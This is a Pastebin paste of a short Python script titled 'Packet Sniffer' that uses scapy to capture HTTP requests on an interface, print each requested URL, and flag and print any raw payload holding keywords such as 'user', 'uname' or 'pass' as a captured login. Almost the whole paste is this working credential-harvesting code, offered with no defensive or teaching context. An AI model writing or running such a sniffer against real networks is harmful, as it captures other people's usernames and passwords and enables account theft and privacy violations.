parthosutradhor

Packet Sniffer

May 4th, 2020
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.81 KB | None | 0 0
  1. #!/user/bin/env python
  2.  
  3. import scapy.all as scapy
  4. from scapy.layers import http
  5.  
  6.  
  7. def get_url(packet):
  8.     return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
  9.  
  10.  
  11. def get_login(packet):
  12.     if packet.haslayer(scapy.Raw):
  13.         load = packet[scapy.Raw].load
  14.         keywords = ["user", "uname", "u-name", "pass"]
  15.         for keyword in keywords:
  16.             if keyword in load:
  17.                 return load
  18.  
  19.  
  20. def sniff(interface):
  21.     scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
  22.  
  23.  
  24. def process_sniffed_packet(packet):
  25.     if packet.haslayer(http.HTTPRequest):
  26.         print("[+] HTTP Request > " + get_url(packet))
  27.  
  28.         login_info = get_login(packet)
  29.         if login_info:
  30.             print("\n\n[+] Login found > " + login_info + "\n\n")
  31.  
  32.  
  33.  
  34. sniff("eth0")
Add Comment
Please, Sign In to add comment